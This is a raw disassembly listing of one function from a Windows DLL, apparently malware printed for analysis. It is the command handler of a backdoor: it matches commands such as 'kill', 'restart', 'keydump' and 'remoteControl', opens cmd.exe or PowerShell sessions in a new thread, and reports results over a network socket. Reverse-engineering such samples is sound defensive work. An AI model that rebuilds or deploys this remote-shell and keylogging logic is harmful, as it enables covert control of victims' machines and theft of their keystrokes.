Function at 0x180005eb0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xa0
mov rax, qword [0x18000e010]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov rdi, rdx
mov rsi, rcx
mov qword [rbp + 0x1f], rcx
mov qword [rbp + 0x27], rdx
xor r15d, r15d
mov rcx, rdx
mov r14, qword [rdx + 0x18]
cmp r14, 0x10
jb 0x180005ef7
mov rcx, qword [rdx]
mov rbx, qword [rdx + 0x10]
cmp rbx, 4
jne 0x180005f18
mov r8, rbx
lea rdx, str.kill
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x180006516
mov rcx, rdi
cmp r14, 0x10
jb 0x180005f24
mov rcx, qword [rdi]
cmp rbx, 7
jne 0x180005f41
mov r8, rbx
lea rdx, str.restart
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x18000651c
mov rcx, rdi
cmp r14, 0x10
jb 0x180005f4d
mov rcx, qword [rdi]
cmp rbx, 7
jne 0x180005fe2
mov r8, rbx
lea rdx, str.keydump
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x180005fe2
mov rcx, rsi
call fcn.180006990
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x180005fad
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x180005fa8
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800063ed
mov rcx, r8
call fcn.1800083bc
mov byte [rdi], 0
mov qword [rdi + 0x18], recv
mov qword [rdi + 0x10], r15
mov rax, rsi
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.180008360
mov rbx, qword [rsp + 0xe0]
add rsp, 0xa0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
mov word [rbp + 5], r15w
mov qword [rbp + 7], recv
mov qword [rbp + recv], 0xf
movsd xmm0, qword [str.remoteControl]
movsd qword [rbp - 9], xmm0
mov eax, dword [0x18000a938]
mov dword [rbp - 1], eax
movzx eax, byte [0x18000a93c]
mov byte [rbp + 3], al
mov byte [rbp + 4], 0
lea rdx, [rbp - 9]
mov rcx, rdi
call fcn.180005cd0
test al, al
je 0x1800063f4
cmp byte [0x18000eac1], 0
jne 0x18000636c
mov rcx, rdi
mov rbx, qword [rdi + 0x18]
cmp rbx, 0x10
jb 0x18000604c
mov rcx, qword [rdi]
mov r14, qword [rdi + 0x10]
cmp r14, 3
jne 0x1800060a7
mov r8, r14
lea rdx, [0x18000a940]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1800060a7
cmp rbx, 0x1b
jb 0x180006096
mov rbx, qword [rdi]
mov qword [rdi + 0x10], 0x1b
lea r8d, [r14 + 0x18]
lea rdx, str.C:WINDOWS_system32cmd.exe
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x1b], 0
jmp 0x180006162
lea r9, str.C:WINDOWS_system32cmd.exe
mov edx, 0x1b
jmp 0x18000615a
mov rcx, rdi
cmp rbx, 0x10
jb 0x1800060b3
mov rcx, qword [rdi]
cmp r14, 3
jne 0x1800060ff
mov r8, r14
lea rdx, [0x18000a964]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1800060ff
cmp rbx, 0x39
jb 0x1800060f6
mov rbx, qword [rdi]
mov qword [rdi + 0x10], 0x39
lea r8d, [r14 + 0x36]
lea rdx, str.C:WindowsSystem32WindowsPowerShell_v1.0powershell.exe
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x39], 0
jmp 0x180006162
lea r9, str.C:WindowsSystem32WindowsPowerShell_v1.0powershell.exe
jmp 0x180006155
mov rcx, rdi
cmp rbx, 0x10
jb 0x18000610b
mov rcx, qword [rdi]
cmp r14, 5
jne 0x180006162
mov r8, r14
lea rdx, str.pws32
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x180006162
cmp rbx, 0x39
jb 0x18000614e
mov rbx, qword [rdi]
mov qword [rdi + 0x10], 0x39
lea r8d, [r14 + 0x34]
lea rdx, str.C:WindowsSysWOW64WindowsPowerShell_v1.0powershell.exe
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x39], 0
jmp 0x180006162
lea r9, str.C:WindowsSysWOW64WindowsPowerShell_v1.0powershell.exe
mov edx, 0x39
mov rcx, rdi
call fcn.180003bc0
mov rdx, rdi
lea rcx, [rbp - 0x29]
call fcn.1800031c0
mov rbx, rax
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x18000617e
mov rdx, qword [rax]
lea r8, [0x18000ac44]
lea rcx, [rbp + 0x1f]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
test eax, eax
jne 0x1800062c6
mov rcx, qword [rbp + 0x1f]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x1800061db
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1800061d6
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180006365
mov rcx, r8
call fcn.1800083bc
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], recv
mov byte [rbx], 0
mov rcx, qword [rdi + 0x10]
add rcx, 3
call fcn.18000856c
mov rbx, rax
mov rcx, qword [rdi + 0x10]
mov byte [rax + rcx], 0
mov r8, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x18000620f
mov r8, qword [rdi]
mov rdx, qword [rdi + 0x10]
add rdx, 2
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
mov r9, rbx
lea r8, [0x180004430]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
cmp byte [0x18000eac1], 0
jne 0x180006264
nop word [rax + rax]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x18000eac1], 0
je 0x180006250
mov rcx, rbx
call fcn.1800083bc
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], recv
mov ecx, 0x20
call fcn.180008380
mov rdx, rax
mov qword [rsi], rax
mov qword [rsi + 0x10], reloc.WS2_32.dll_send
mov qword [rsi + 0x18], 0x1f
movups xmm0, xmmword [str.CMD_session_opened.]
movups xmmword [rax], xmm0
movzx ecx, word [0x18000aa00]
mov word [rax + 0x10], cx
movzx eax, byte [0x18000aa02]
mov byte [rdx + 0x12], al
mov byte [rdx + 0x13], 0
jmp 0x180005f73
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x1800062fc
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1800062f7
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180006365
mov rcx, r8
call fcn.1800083bc
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], recv
mov byte [rbx], 0
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], recv
mov ecx, 0x20
call fcn.180008380
mov rdx, rax
mov qword [rsi], rax
mov qword [rsi + 0x10], reloc.WS2_32.dll_send
mov qword [rsi + 0x18], 0x1f
movups xmm0, xmmword [str.File_doesnt_exist.]
movups xmmword [rax], xmm0
movzx ecx, word [0x18000aa18]
mov word [rax + 0x10], cx
movzx eax, byte [0x18000aa1a]
mov byte [rdx + 0x12], al
mov byte [rdx + 0x13], 0
jmp 0x180005f73
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], 4
mov qword [rbp - 0x11], recv
mov eax, dword [0x18000aa1c]
mov dword [rbp - 0x29], eax
mov byte [rbp - 0x25], 0
lea rdx, [rbp - 0x29]
call fcn.180004660
mov byte [0x18000eac1], 0
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], recv
mov ecx, 0x20
call fcn.180008380
mov qword [rsi], rax
mov qword [rsi + 0x10], socket
mov qword [rsi + 0x18], 0x1f
movups xmm0, xmmword [str.CMD_session_closed]
movups xmmword [rax], xmm0
movzx ecx, word [0x18000aa38]
mov word [rax + 0x10], cx
mov byte [rax + 0x12], 0
jmp 0x180005f73
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, qword [rdi + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 9
jb 0x180006510
mov rax, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x18000641c
mov rax, qword [rdi]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.Command_
lea rcx, [rbp - 0x29]
call fcn.180004900
nop
mov r8d, socket
lea rdx, str._was_not_recognized.
lea rcx, [rbp - 0x29]
call fcn.180003590
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], r15
movups xmm0, xmmword [rax]
movups xmmword [rsi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsi + 0x10], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov rdx, qword [rbp - 0x11]
cmp rdx, 0x10
jb 0x1800064bf
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800064ba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800064ba
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800083bc
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], recv
mov byte [rbp - 0x29], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x180005fad
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x180005fa8
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
jbe 0x180005fa5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.180001460
int3
call fcn.180006580
int3
call fcn.180006530
int3